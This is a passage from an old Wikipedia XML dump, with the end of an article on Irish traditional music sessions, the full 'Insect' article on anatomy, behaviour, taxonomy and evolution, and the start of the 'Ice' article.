Typically, the first tune is followed by another two or three tunes in a ''set''.  The art of putting together a set is hard to put into words, but the tunes must flow from one to another in terms of key and melodic structure, without being so similar as to all sound the same.  The tunes of a set will usually all be of the same sort, i.e. all jigs or all reels, although on rare occasions and amongst a more skilled group of players a complementary tune of a different sort will be included, such as a slip jig (9/8) amongst the jigs (6/8).  Although bands sometimes arrange sets of reels and jigs together, this is all but unheard of in an Irish session context.  

Some sets are specific to a locale, or even to a single session, whilst others, like the &quot;Coleman set&quot; of reels (&quot;The Tarboulton&quot;/&quot;The Longford Collector&quot;/The Sailor's Bonnet&quot;), represent longstanding combinations that have been played together for decades.  Sets are sometimes thrown together ''ad hoc'', which sometimes works brilliantly and sometimes fails on the spot.

After the set ends, someone will usually starts another.  Most often there are more-or-less recognized session leaders; sometimes there are no leaders.  At times a song will be sung or a slow air played by a single musican between sets.

Sessions are often held in [[pub]]s (with the hope that listeners will buy drink for the musicians) and everyone who is able to play Irish music is welcome, within limits; this can be problematic when non-Irish musicians encounter a session and imagine that they may &quot;jam&quot; without knowing a single tune or even having a clear idea of what traditional music is, or when some over-enthusiastic neophyte shows up with a bodhrán, guitar, pair of spoons, or some other instrument chosen because &quot;it's easy to play.&quot;  A pub owner might have one or two musicians paid to come regularly in order for the session to have a base.  Sunday afternoons and weekday nights (especially Tuesday and Wednesday) are common times for sessions to be scheduled, on the theory that these are the least likely times for dances and concerts to be held, and therefore the times that professional musicians will be most able to show.

Sessions can be held in homes or at various public places in addition to pubs; often at a festival sessions will be got together in the beer tent or in the vendor's booth of a music-loving craftsman or dealer.  When a particularly large musical event &quot;takes over&quot; an entire village, spontaneous sessions may erupt on the street corners.  

The objective in a session is not to provide music for an audience of passive listeners; although the ''punters'' (non-playing attendees) often come for the express purpose of listening, the music is most of all for the musicians themselves.  This is why, as a general rule, requesting a particular song or tune of the players is considered rude (quite aside from the fact that most Irish traditional musicians have never learnt &quot;Misty&quot; or &quot;Free Bird&quot;).  The session is an experience that's shared, not a performance that's bought and sold.

In his &quot;Field Guide to the Irish Music Session,&quot; Barry Foy defines a session as:
&lt;blockquote&gt;
''...a gathering of Irish traditional musicians for the purpose of celebrating their common interest in the music by playing it together in a relaxed, informal setting, while in the process generally beefing up the mystical cultural mantra that hums along uninterruptedly beneath all manifestations of Irishness worldwide.''&lt;/blockquote&gt;

The sessions are a key aspect of traditional music; some say it is the main sphere in which the music is formulated and innovated. Further, the sessions enable young musicians to practice in a group. 

Socially, sessions (Seisiún in Gaelic) have often been compared to an evening of playing card games, where the conversation and cameraderie are an essential component. In many rural communities in Ireland, sessions are an integral part of community life. 

Sessions are an excellent way to witness the real, amorphous identity of Irish traditional tunes.

== See also ==
* [[List of Irish session venues]]
* [[Irish traditional music]]
* [[Pub session]]

{{ireland-stub}}
{{music-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Insect</title>
    <id>14944</id>
    <revision>
      <id>41739897</id>
      <timestamp>2006-03-01T11:53:37Z</timestamp>
      <contributor>
        <username>Samsara</username>
        <id>19527</id>
      </contributor>
      <comment>/* Gallery */ wikify to a blue link</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Insects
| image = Hymenoptere2.jpg
| image_width = 300px
| image_caption = [[Honeybee]] (order [[Hymenoptera]])
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| subphylum = [[Hexapoda]]
| classis = '''Insecta'''
| classis_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = Classes &amp; Orders
| subdivision = 
See [[#Taxonomy|taxonomy]]
}}
'''Insects''' are [[invertebrate]] [[animal]]s of the Class '''Insecta''', the largest and (on land) most widely-distributed [[taxon]] within the [[Phylum]] [[Arthropod]]a. Insects comprise the most diverse group of animals on the earth, with around 925,000 [[species]] described&amp;mdash;more than all other animal groups combined: &quot;Indeed, in no one of her works has Nature more fully displayed her exhaustless ingenuity,&quot; [[Pliny's Natural History|Pliny the Elder]] exclaimed. Insects may be found in nearly all environments on the planet, although only a small number of species have adapted to life in the [[ocean]]s where [[crustacea]]ns tend to predominate. 

[[Image:Zorak-Mantis.png|thumb|none|200px|[[Chinese mantis]]]]
The exopterygote part of the [[Neoptera]] are sometimes divided into Orthopteroida (cerci present) and Hemipteroida (cerci absent), also called lower and higher Exopterygota. 
There are approximately 5,000 [[Odonata|dragonfly]] species, 2,000 [[Mantodea|praying mantis]], 20,000 [[orthoptera|grasshopper]], 170,000 [[lepidoptera|butterfly and moth]], 120,000 [[Diptera|fly]], 82,000 [[hemiptera|true bug]], 350,000 [[beetle]], and 110,000 [[hymenoptera|bee and ant]] species. Estimates of the total number of current species, including those not yet known to science, range from two to thirty million, with most authorities favoring a figure midway between these extremes. The study of insects is called [[entomology]].
[[Image:Diptera 02gg.jpg|thumb|right|260px|[[Green bottle fly]]]]

==Relationship to other arthropods==
A few smaller groups with similar body plans, such as springtails ([[Collembola]]), are united with the insects in the Subphylum [[Hexapoda]]. But this Subphylum is proved to be artificial as springtails are no longer considered as relatives. They have most likely a different origin. This may also be that case for the rest of the members of the Entognatha; [[Protura]] and [[Diplura]]. The true insects (that is, species classified in the Class Insecta) are distinguished from all other arthropods in part by having '''ectognathous''', or exposed, mouthparts and eleven (11) abdominal segments. Their mouthparts are also the reason why they are called Ectognatha. Most species, but by no means all, have [[wing]]s as adults. Terrestrial arthropods, such as [[centipede]]s, [[millipede]]s, [[scorpion]]s and [[spider]]s, are sometimes confused with insects due to the fact that both have similar body plans, sharing (as do all arthropods) a jointed exoskeleton.

==Morphology and development==
[[Image:robal.png|left|300px|thumb|Insect anatomy &lt;br&gt;
'''A'''- Head &amp;nbsp; '''B'''- Thorax &amp;nbsp; '''C'''- Abdomen &lt;br/&gt;
   1. antenna&lt;br/&gt;
   2. ocelli (lower)&lt;br/&gt;
   3. ocelli (upper)&lt;br/&gt;
   4. compound eye&lt;br/&gt;
   5. brain (cerebral ganglia)&lt;br/&gt;
   6. prothorax&lt;br/&gt;
   7. dorsal artery&lt;br/&gt;
   8. [[trachea]]l tubes (trunk with [[spiracle]])&lt;br/&gt;
   9. mesothorax&lt;br/&gt;
  10. metathorax&lt;br/&gt;
  11. first wing&lt;br/&gt;
  12. second wing&lt;br/&gt;
  13. mid-gut (stomach)&lt;br/&gt;
  14. heart&lt;br/&gt;
  15. ovary&lt;br/&gt;
  16. hind-gut (intestine, rectum &amp; anus)&lt;br/&gt;
  17. anus&lt;br/&gt;
  18. vagina&lt;br/&gt;
  19. nerve chord (abdominal ganglia)&lt;br/&gt;
  20. Malpighian tubes&lt;br/&gt;
  21. pillow&lt;br/&gt;
  22. claws&lt;br/&gt;
  23. [[arthropod tarsus|tarsus]]&lt;br/&gt;
  24. [[arthropod tibia|tibia]]&lt;br/&gt;
  25. [[arthropod femur|femur]]&lt;br/&gt;
  26. [[arthropod trochanter|trochanter]]&lt;br/&gt;
  27. fore-gut (crop, gizzard)&lt;br/&gt;
  28. thoracic ganglion&lt;br/&gt;
  29. [[arthropod coxa|coxa]]&lt;br/&gt;
  30. salivary gland&lt;br/&gt;
  31. subesophageal ganglion&lt;br/&gt;
  32. mouthparts&lt;br/&gt;]]

Insects range in size from less than a millimeter to over 18 centimeters (some [[walkingstick]]s) in length. Insects possess segmented bodies supported by an [[exoskeleton]], a hard outer covering made mostly of [[chitin]]. The body is divided into a head, a [[thorax]], and an [[abdomen]].  The head supports a pair of sensory [[Antenna (biology)|antennae]], a pair of [[compound eye]]s, and a mouth.  The thorax has [[6 (number)|six]] [[leg]]s (one pair per segment) and wings (if present in the species).  The abdomen, originally made up of eleven segments, has [[Excretion|excretory]] and reproductive structures.

Their nervous system can be divided into a brain and a ventral nerve cord. As the head capsule are made up of six anterior body segments, the brain reflects this in its anatomy in containing six pairs of [[ganglia]]. The first three pairs are fused into the brain, while the three following pairs are fused into a structure called the subesophageal ganglion. 
The thorax pairs have one ganglion on each side, which are connected into a pair, one pair of ganglia in each thoraic segment. This arrangement is also found in the abdomen, but here there is one pair of ganglia in the first eight segments only, that is, three thoraic and eight abdominal paired ganglia.
Many species of insects have since then reduced this number by losing or fusing some of the abdominal ganglions and/or fusing those in the thorax. Some cockroach have just six ganglia in the abdomen, whereas the wasp ''Vespa crabro'' have reduced the number further with only two in the thorax and three abdominal. And then finally insects like the well known housefly have fused all the body ganglions into on big thoraic ganglion.

Insects have a complete digestive system. That is, their digestive system consists basically of a tube that runs from mouth to anus, contrasting with the incomplete digestive systems found in many simpler invertebrates.  The excretory system consists of [[Malpighian tubule]]s for the removal of nitrogenous wastes and the hindgut for [[osmoregulation]]. At the end of the hindgut, insects are able to reabsorb water along with potassium and sodium ions. Therefore, insects don't usually excrete water with their feces, allowing storage of water in the body. This process of reabsorption enables them to withstand hot, dry environments.

Most insects have two pairs of wings located on the second and third thoracic segments.  Insects are the only invertebrate group to have developed flight, and this has played an important part in their success.  The winged insects, and their wingless relatives, make up the subclass [[Pterygota]]. Insect flight is not very well understood, relying heavily on turbulent atmospheric effects.  In more primitive insects, flight tends to rely heavily on direct flight muscles, which act upon the wing structure. More advanced flyers, which make up the [[Neoptera]], in general, have wings that can be folded over their back, keeping them out of the way when not in use.  In these insects, the wings are powered mainly by indirect-flight muscles that move the wings by stressing the thorax wall.  These muscles are able to contract when stretched without nervous impulses, allowing the wings to beat much faster than would be otherwise possible.

Their outer skeleton called the cuticle is made up of two layers; the epicuticle which is a thin and waxy water resistant outer layer and contains no chitin, and another layer under it called procuticle. This is chitinous and much thicker than the first one, and who can be divided into two new layers. The first one is named the exocuticle and the second, last and deepest one is the endocuticle. The very tough and flexible endocuticle is built like numerous layers, made of fibres of chitin and proteins, crossing each others in a sandwich pattern.

Insects use [[trachea]]l respiration in order to transport oxygen through their bodies. Openings on the surface of the body called [[spiracle]]s lead to the tubular tracheal system. Air reaches internal tissues via this system of branching trachea. There are never more than one pair of spiracles per segment. And never more than two pairs of spiracles on thorax (mesothorax and metathorax), or more than eight pairs on the amdomen (the first eight segments). Many higher insects have reduced the number of spiracles; the hoverflies have lost all the spiracles on their abdomen. There is a limit to the pressure that the walls of the tracheal tubes can withstand without collapsing, even if they are stiffened with bands of chitin, which is one of the reasons why insects are relatively small. 
The spiracles are equipped with muscle controlled valves, enabling the insects to open and close them. By closing them, they can avoid drowning in water, or prevent moisture from escaping their body by opening them only when new air is needed. With little activity, the spiracles are often partially closed. To stop dust and other unwelcome small particles from entering their trachea system when inhaling, the spiracles are blocked with hair that filters the particles away. 
There are some species of insects, like members of [[Chironomidae]], commonly called &quot;blood worms,&quot; that contain true respiratory pigments such as [[hemoglobin]] in their larval stage. Here the trachea are often reduced as their body can absorb oxygen directly from the water, allowing them to live in bottom mud where the oxygen levels are low. 
Three pairs of the spiracles in water bugs are covered by a pressure-sensitive membrane. These work in much the same way as the human [[inner ear]], and make it possible to know their position in the water.  
The last abdominal spiracle and associated trachea of caterpillars in the Lepidoptera have also been modified; the trachea of the eighth segment are modified into what can be called a trachea lung, as it has adapted to hemocyte gas exchange. Short [[tracheole]]s from this trachea ends in knots within the tracheole cell basement membrane. Since they do not supply any cellular tissue, it seems most likely that they are supplying the hemocytes with oxygen.  
The [[Madagascar hissing cockroach]] expels air from certain spiracles to create a loud hissing sound.

A diffuse tissue of cells found through out the hemocoel of insects, most of all in the abdomen, is called the fat body. Energy storage and metabolic processes are among its main functions. It is also the closest insects comes to a liver.

The [[circulatory system]] of insects, like that of other arthropods, is open: The heart pumps the [[hemolymph]] through arteries to open spaces surrounding the internal organs; when the heart relaxes, the hemolymph seeps back into the heart.

Like some other invertebrates, insects cannot synthesise cholesterol and must receive it from the diet. With a very few exceptions, they also depends on long-chain fatty acids in their diet, especially 18-carbon chains. A lack of these fatty acids will affect ther development in a negative way, causing such things as longer time to mature and deformed adults. 

We can also find [[polyembryony]] in some insects. A single fertilized egg from polyembryonic parastic wasps can actually divide into literally thousands of separate embryos.

[[image:insect.anartia.amathea.arp.750pix.jpg|thumb|right|200px|A [[butterfly]] is the adult stage of an insect with complete metamorphosis. This species is ''[[Anartia amathea]]''.]]
Most insects hatch from [[egg (biology)|eggs]], others are [[ovoviviparous]] or [[viviparous]], and all undergo a series of [[moult]]s as they develop and grow in size. This manner of growth is necessitated by the exoskeleton. Moulting is a process by which the individual escapes the confines of the exoskeleton in order to increase in size, then grows a new outer covering.  In most types of insects, the young, called '''nymphs''', are basically similar in form to the adults (an example is the grasshopper), though wings are not developed until the adult stage.  This is called ''incomplete  [[metamorphosis (biology)|metamorphosis]]''. ''Complete metamorphosis'' distinguishes the [[Endopterygota]], which includes many of the most successful insect groups. In these species, an egg hatches to produce a '''[[larva]]''', which is generally worm-like in form, and can be divided into five different forms; eruciform (caterpillar-like), scarabaeiform (grublike), campodeiform (elongated, flattened, and active), elateriform (wireworm-like) and vermiform (maggot-like). The larva grows and eventually becomes a '''[[pupa]]''', a stage sealed within a [[cocoon]] or [[chrysalis]] in some species. There are three types of pupae; obtect, exarate and coarctate. In the pupal stage, the insect undergoes considerable change in form to emerge as an adult, or '''[[imago]]'''.  Butterflies are an example of an insect that undergoes complete metamorphosis. Some insects have even evolved [[hypermetamorphosis]]. Other development traits are [[haplodiploidy]], [[polymorphism]],  [[paedomorphosis]] (metathetely and prothetely), [[sexual dimorphism]], [[parthenogenesis]] and more rarely [[hermaphroditism]].

==Behavior==
[[Image:Flies around 60 watt light globe.jpg|thumb|250px|left|Flies attracted to a light in summer]]
Many insects possess very refined organs of [[sense|perception]]. In some cases, their senses can be more capable than humans. For example, bees can see in the [[ultraviolet]] spectrum, and male moths have a specialized sense of smell that enables them to detect the [[pheromone]]s of female moths over distances of many kilometers.

Many insects also have a well-developed number sense, especially among the solitary wasps. The mother wasp lays her eggs in individual cells and provides each egg with a number of live caterpillars on which the young feed when hatched. Some species of wasp always provide five, others twelve, and others as high as twenty-four caterpillars per cell. The number of caterpillars is different among species, but it is always the same for each sex of eggs. The male solitary wasp in the genus ''Eumenus'' is smaller than the female, so the mother supplies him with only five caterpillars; the larger female receives ten caterpillars in her cell. She can in other words distinguish between both the numbers five and ten in the caterpillars she is providing and which cell contains a male or a female.

[[Social insect]]s, such as the [[ant]] and the [[bee]], are the most familiar species of [[Eusociality|eusocial]] animal. They live together in large well-organized colonies that are so tightly integrated and genetically similar that the colonies are sometimes considered [[superorganism]]s.

==Roles in the environment and human society==
[[Image:Aedes aegypti biting human.jpg|thumb|right|''[[Aedes aegypti]]'', a parasite, and vector of [[dengue]] and [[yellow fever]]]]
Many insects are considered pests by humans. Insects commonly regarded as pests include those that are parasitic ([[mosquito]]es, [[lice]], [[bedbug]]s), transmit diseases ([[mosquito]]s, [[fly|flies]]), damage structures ([[termite]]s), or destroy agricultural goods ([[locust]]s, [[weevil]]s). Many [[entomologist]]s are involved in various forms of [[pest (animal)|pest]] control, often using [[insecticides]], but more and more relying on methods of [[biocontrol]].

Although pest insects attract the most attention, many insects are beneficial to the [[natural environment|environment]] and to [[human]]s. Some [[pollination|pollinate]] [[flowering plant]]s (for example [[wasp]]s, [[bee]]s, [[butterfly|butterflies]], [[ant]]s). Pollination is a trade between plants that need to reproduce, and pollinators that receive rewards of [[nectar (plant)|nectar]] and [[pollen]]. A serious environmental problem today is the [[pollinator decline|decline of populations of pollinator]] insects, and a number of species of insects are now cultured primarily for [[pollination management]] in order to have sufficient pollinators in the field, [[orchard]] or [[greenhouse]] at [[bloom]] time.

Insects also produce useful substances such as [[honey]], [[wax]], [[lacquer]] and [[silk]]. [[Honeybee]]s, (pictured above) have been cultured by humans for thousands of years for honey, although contracting for crop pollination is becoming more significant for [[beekeeper]]s. The [[silkworm]] has greatly affected human history, as [[Silk Road|silk-driven trade]] established relationships between China and the rest of the world. [[Fly]] larvae ([[maggot]]s) were formerly used to treat wounds to prevent or stop [[gangrene]], as they would only consume dead flesh. This treatment is finding modern usage in some hospitals. Insect larvae of various kinds are also commonly used as fishing bait.

In some parts of the world, insects are used for human food (&quot;[[Entomophagy]]&quot;), while being a [[taboo]] in other places. There are proponents of developing this use to provide a major source of [[protein]] in human [[nutrition]]. Since it is impossible to entirely eliminate pest insects from the human food chain, insects already are present in many foods, especially grains. Most people do not realize that [[food laws]] in many countries do not prohibit insect parts in food, but rather limit the quantity. According to [[cultural materialism|cultural materialist]] anthropologist [[Marvin Harris]], the eating of insects is taboo in cultures that have protein sources that require less work, like farm birds or cattle.
[[Image:A lubber grasshopper eats a piece of grass.jpg|thumb|150px|left|Lubber grasshopper]]
Many insects, especially [[beetle]]s, are [[scavenger]]s, feeding on dead animals and fallen trees, [[recycling]] the biological materials into forms found useful by other [[organism]]s. The ancient [[Egyptian religion]] adored beetles and represented them as [[scarabeum]]s.

Although mostly unnoticed by most humans, the most useful of all insects are [[insectivore]]s, those that feed on other insects. Many insects, such as [[grasshopper]]s, can potentially reproduce so quickly that they could literally bury the earth in a single season. However, there are hundreds of other insect species that feed on grasshopper eggs, and some that feed on grasshopper adults. This role in ecology is usually assumed to be primarily one of [[bird]]s, but insects, though less glamorous, are much more significant. For any pest insect one can name, there is a species of wasp that is either a [[parasitoid]] or [[predator]] upon that pest, and plays a significant role in controlling it. 

Human attempts to control pests by insecticides can backfire, because important but unrecognized insects already helping to control pest populations are also killed by the poison, leading eventually to population explosions of the pest species.

==Taxonomy==
&lt;div style=&quot;font-size: 85%&quot;&gt;
'''Subclass:''' [[Apterygota]]
:'''Orders'''
:* [[Archaeognatha]] (Bristletails)
:* [[Thysanura]] (Silverfish)
:* [[Monura]] - ''extinct''
'''Subclass:''' [[Pterygota]]
:*'''Infraclass:''' &quot;[[Paleoptera]]&quot; (paraphyletic)
::'''Orders'''
::* [[Ephemeroptera]] (mayflies)
::* [[Palaeodictyoptera]] - ''extinct''
::* [[Megasecoptera]] - ''extinct''
::* [[Archodonata]] - ''extinct''
::* [[Diaphanopterodea]] - ''extinct''
::* [[Protodonata]] - ''extinct''
::* [[Odonata]] ([[dragonfly|dragonflies]] and [[damselfly|damselflies]])
:*'''Infraclass:''' [[Neoptera]]
::* '''Superorder:''' [[Exopterygota]]
:::'''Orders'''
::* [[Caloneurodea]] - ''extinct''
::* [[Titanoptera]] - ''extinct''
::* [[Protorthoptera]] - ''extinct''
:::'''Polyneoptera'''
::* [[Grylloblattodea]] (ice-crawlers)
::* [[Mantophasmatodea]] (gladiators)
::* [[Plecoptera]] (stoneflies)
::* [[Embioptera]] (webspinners)
::* [[Zoraptera]] (angel insects) 
::* [[Dermaptera]] (earwigs)
:::''' Orthopteroidea '''
::* [[Orthoptera]] ([[grasshopper]]s, etc)
::* [[Phasmatodea]] (walking sticks)
:::'''Dictyoptera'''
::* [[Blattodea]] (cockroaches)
::* [[Isoptera]] (termites)
::* [[Mantodea]] (mantids)
:::'''Paraneoptera'''
::* [[Psocoptera]] (booklice, barklice)
::* [[Thysanoptera]] (thrips)
::* [[Phthiraptera]] ([[lice]])
::* [[Hemiptera]] (true [[bug (disambiguation)|bug]]s)
:* '''Superorder:''' [[Endopterygota]]
::'''Orders'''
::* [[Hymenoptera]] ([[ant]]s, [[bee]]s, etc.)
::* [[beetle|Coleoptera]] (beetles)
::* [[Strepsiptera]] (twisted-winged parasites)
:::'''Neuropteroidea'''
::* [[Raphidioptera]] (snakeflies)
::* [[Megaloptera]] ([[alderfly|alderflies]], etc.)
::* [[Neuroptera]] (net-veined insects)
:::'''Mecopteroidea'''
::* [[Mecoptera]] (scorpionflies, etc.)
::* [[Siphonaptera]] ([[flea]]s)
::* [[Diptera]] (true [[fly|flies]])
::* [[Protodiptera]] ''extinct''
:::'''Amphiesmenoptera'''
::* [[Trichoptera]] ([[caddisfly|caddisflies]])
::* [[Lepidoptera]] ([[butterfly|butterflies]], [[moth]]s)
::'''Incertae sedis'''
::* [[Glosselytrodea]] ''extinct''
::* [[Miomoptera]] - ''extinct''
&lt;/div&gt;

As seen above, insects are divided into two subclasses; Apterygota and Pterygota (flying insects), but this could relatively soon change. Apterygota is made up of two orders; Archaeognatha (Bristletails) and Thysanura (Silverfish). In the suggested classification, the Archaeognatha makes up the Monocondylia while Thysanura and Pterygota are grouped together as Dicondylia. It is even possible that the Thysanura itself are not [[monophyletic]], making the family Lepidotrichidae a sister group to the Dicondylia (Pterygota + the rest of the Thysanura). 
Also within the infraclass Neoptera we will probably see some re-organization in not too long. Today Neoptera is divided into the superorders Exopterygota and Endopterygota. But even if the Endopterygota are monophyletic, the Exopterygota seems to be [[paraphyletic]], and can be separated into smaller groups; Paraneoptera, Dictyoptera, Orthopteroidea and to other groups (Grylloblattodea + Mantophasmatodea and Plecoptera +
Zoraptera + Dermaptera). Phasmatodea and Embioptera has been suggested to form Eukinolabia, while Strepsiptera and Diptera are sometimes grouped together in Halteria. Paraneoptera has turned out to be more closeley related to Endopterygota than to the rest of the Exopterygota. It is not still clear how closley related the remaining Exopterygote groups are and if they belongs together in a larger unit. Only more research will give the answear.

==Evolution==
[[Image:Insect antennae.jpg|thumb|right|100px|Evolution has produced astonishing variety in insects. Pictured are some of the possible shapes of [[Antenna (biology)|antennae]].]]
{{Main|Insect evolution}}
The relationships of insects to other animal groups remain unclear. 
Although more traditionally grouped with millipedes and centipedes, evidence has emerged favoring closer [[evolution]]ary ties with the crustaceans. In the [[Pancrustacea]] theory insects, together with  [[Remipedia]] and [[Malacostraca]], make up a natural [[clade]].

Apart from some tantalizing [[Devonian]] fragments, insects first appear suddenly in the fossil record at the very beginning of the Late [[Carboniferous]] period, Early [[Bashkirian|Bashkirian age]], about 350 million years ago. Insect species were already diverse and highly specialized by this time, with fossil evidence reflecting the presence of more than half a dozen different orders. Thus, the first insects probably emerged earlier in the Carboniferous period, or even in the preceding Devonian. Research to discover these earliest insect ancestors in the fossil record continues.

The origin of insect flight remains obscure, since the earliest winged insects currently known appear to have been capable fliers. 
Some extinct insects had an additional pair of winglets attaching to the first segment of the thorax, for a total of three pairs. So far, there is nothing that suggests that the insects were a particularly successful group of animals before they got their wings.

[[Pennsylvanian|Late Carboniferous]] and [[Cisuralian|Early Permian]] insect orders include both several current very long-lived groups and a number of Paleozoic forms.  During this era, some giant dragonfly-like forms reached wingspans of 55 to 70 cm, making them far larger than any living insect. Also their nymphs must have had a very impressive size. This gigantism may have been due to higher atmospheric oxygen levels that allowed increased respiratory efficiency relative to today. The lack of flying vertebrates could have been another factor.

Most extant orders of insects developed during the [[Permian]] era that began around 270 million years ago. Many of the early groups became extinct during the [[Permian-Triassic extinction event]], the largest mass extinction in the history of the Earth, around 252 million years ago.

The remarkably successful Hymenopterans appeared in the Cretaceous but achieved their diversity more recently, in the Cenozoic. A number of highly-successful insect groups evolved in conjunction with [[flowering plants]], a powerful illustration of [[co-evolution]]. 

Many modern insect genera developed during the [[Cenozoic]]; insects from this period on are often found preserved in [[amber]], often in perfect condition. Such specimens are easily compared with modern species. The study of fossilized insects is called [[paleoentomology]].

==References==
*{{cite book|author=Triplehorn, Charles A. and Norman F. Johnson|title=Borror and DeLong's Introduction to the Study of Insects|edition=7th edition|year=[[2005-05-19]]|publisher=Thomas Brooks/Cole|id=ISBN 0030968356}} —  a classic textbook in North America
*{{cite book|author=Grimaldi, David and Michael S. Engel|title=Evolution of the Insects|year=[[2005-05-16]]|publisher=[[Cambridge University Press]]|id=ISBN 0521821495}} — an up to date review of the evolutionary history of the insects

==Quotes==
*&quot;''Something in the insect seems to be alien to the habits, morals, and psychology of this world, as if it had come from some other planet: more monstrous, more energetic, more insensate, more atrocious, more infernal than our own.''&quot;
::&amp;mdash;[[Maurice Maeterlinck]] ([[1862]]–[[1949]])

==Gallery==
&lt;gallery&gt;
Image:Adult citrus root weevil, Diaprepes abbreviatus.jpg|Adult citrus root [[weevil]] (''Diaprepes abbreviatus'')
Image:Ctenomorpha chronus02.jpg|A [[stick insect]] (''Ctenomorpha chronus'')
Image:Wasserläufer bei der Paarung crop.jpg|[[Water strider]] (''Gerris najas'')
Image:Aelia acuminata.JPG|Bishop's mitre [[shield bug]] (''Aelia acuminata'')
Image:Prachtlibelle-2.jpg|[[Beautiful Demoiselle]] (''Calopteryx virgo'')
Image:Forficula auricularia.jpg|Common [[Earwig]] (''Forficula auricularia'')
Image:Termite Cathedral DSC03570.JPG|Cathedral [[termite]] mound
Image:Patanga_japonica_larva.jpg|A juvenile ''Patanga japonica''
Image:Schwebfliege.jpg|A [[flower fly]], ''Episyrphus balteatus''
Image:Osmia rufa couple (aka).jpg|Red [[Mason Bee]] (''Osmia rufa'')
Image:Guepe.jpg|Wasp, drinking
Image:Aleiodes indiscretus wasp parasitizing gypsy moth caterpillar.jpg|''Aleiodes indiscretus'' parasitising a [[gypsy moth]] (''Lymantria dispar'') larva
Image:Ant on mosshill02 crop.jpg|Ant
Image:Iphiclides podalirius.jpg|[[Scarce swallowtail]] (''Iphiclides podalirius'')
Image:LeopardMoth.jpg|[[Giant Leopard Moth]] (''Ecpantheria scribonia'')
Image:Rosy Maple Moth.png|Rosy Maple Moth (''Dryocampa rubicunda'')
&lt;/gallery&gt;

==See also==
{{Wikispecies|Insecta}}
{{Commonscat|Insecta}}
*[[Animal]]
*[[Entomology]]
*[[Invertebrate]]
*[[Prehistoric insect]]
*[[Insect flight]]
*[[image:FilmRoll-small.gif|left|Film (Xvid/ogg)]] [[:Image:Sarcophaga carnaria (Portugal2005).ogg|Cleanly flesh-fly, 4:05 minute film]] - 8MB [[xvid]] in [[ogg]] container showing a [[flesh-fly]] using its front and back pairs of legs to clean wings and head. The film runs at half speed to enable the viewer to appreciate the fast movements of the animal.

==External links==
* [http://www.cirrusimage.com/ North American Insects] A library of 4,000+ reference quality large format insect pictures. Creative Commons licensed
* [http://cmave.usda.ufl.edu/~rmankin/soundlibrary.html Bug Bytes] A reference library of digitized insect sounds.
* [http://www.insects.org/index.html INSECTS .org] A shameless promotion of insect appreciation.
* [http://www.food-insects.com/ Insects as Food] by Gene DeFoliart. Information about insects as a food resource.
* [http://www.kendall-bioresearch.co.uk/index.htm Kendall Bioresearch] Bug Index, Featured Bugs, Classification, ID, Fossils, Body-parts, Micro Views, Life Cycles, Pesticide Safety.
* [http://www.ub.es/dpep/meganeura/meganeura.htm Meganeura] Website about insect evolution and fossil record.
* [http://tolweb.org/tree?group=Insecta&amp;contgroup=Hexapoda Tree of Life Project] &amp;ndash; Insecta
* [http://ufbir.ifas.ufl.edu/ UF Book of Insect Records], documenting &quot;insect champions&quot; in different categories
* [http://bugguide.net/ BugGuide] Photographs, life history information, and identification of North American arthropods, especially insects

[[Category:Arthropods]]
[[Category:Entomology]]
[[Category:Insects|*]]

[[ar:حشرات]]
[[an:Inseuto]]
[[ast:Inseutu]]
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[[sv:Insekter]]
[[th:แมลง]]
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[[uk:Комахи]]
[[zh:昆虫]]</text>
    </revision>
  </page>
  <page>
    <title>Inter-stellar clouds</title>
    <id>14945</id>
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      <id>15912465</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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  </page>
  <page>
    <title>Ice</title>
    <id>14946</id>
    <revision>
      <id>42147166</id>
      <timestamp>2006-03-04T03:15:20Z</timestamp>
      <contributor>
        <username>Kevmitch</username>
        <id>225112</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

[[Image:Mg-k_Eisfall.jpg|thumb|right|Frozen [[Waterfall]] in the [[Rhön]] mountains]]
[[Image:IceBlockNearJoekullsarlon.jpg|thumb|left|A natural, 4 tonne, block of ice on a beach in [[Iceland]]]]
'''Ice''' can refer any of the 14 known solid [[phases of matter|phases]] of water. However, in non-scientific contexts, it usually describes [[ice Ih|ice I&lt;sub&gt;h&lt;/sub&gt;]], which is the most abundant of these phases in [[Earth|Earth's]] [[Biosphere|biosphere]]. This type of ice is a soft, fragile, [[crystal|crystalline]] solid, which can appear transparent or an opaque bluish-white [[color]] depending on the presence of [[Impurity|impurities]] such as [[air]]. The addition of other materials such as [[soil]] may further alter appearance. The most common [[phase transition]] to [[ice Ih|ice I&lt;sub&gt;h&lt;/sub&gt;]] occurs when [[liquid]] water is cooled below 0&amp;nbsp;[[Celsius|°C]] (273.15&amp;nbsp;[[Kelvin|K]], 32&amp;nbsp;[[Fahrenheit|°F]]) at [[standard atmospheric pressure]].  However, it can also [[Sublimation_%28physics%29|sublimate]] from a vapor with no intervening liquid phase such as in the formation of [[frost]]. Ice appears in varied forms such as [[hail]], [[ice cube]]s, and [[glacier|glaciers]]. It plays an important role with many meteorological phenomena.  The ice caps of the polar regions are of significance for the [[global climate]] and particularly the [[water cycle]].

An unusual feature of ice frozen at a pressure of one [[Atmosphere (unit)|atmosphere]] is that the solid is some 8% less dense than liquid water. Ice has a [[density]] of 0.917 g/cm³ at 0 °C, whereas water has a density of 0.9998 g/cm³ at the same temperature. Liquid water is most dense, essentially 1.00 g/cm³,  at 4 °C and becomes less dense as the water molecules begin to form the [[Hexagonal (crystal system)|hexagonal]] [[crystal]]s of [[ice crystals|ice]] as the temperature drops to 0 °C. (In fact, the word &quot;crystal&quot; derives from the Greek word for frost.) This is due to [[hydrogen bond]]s forming between the water molecules, which line up [[molecules]] less efficiently (in terms of volume) when water is frozen. The result of this is that ice floats on liquid water, an important factor in Earth's [[climate]]. Density of ice increases slightly with decreasing temperature (density of ice at at -180 °C (93 K) is 0.9340 g/cm³).

When ice melts, it absorbs as much heat [[energy]] (the [[heat of fusion]]) as it would take 
to heat an equivalent mass of water by 80&amp;nbsp;°C, while its temperature remains a constant 0&amp;nbsp;°C.

As a crystalline solid, ice is considered a [[mineral]].  

== Types of ice ==
[[Image:SnowflakesWilsonBentley.jpg|left|thumb|235px|[[Snowflake]]s by [[Wilson Bentley]], 1902]]
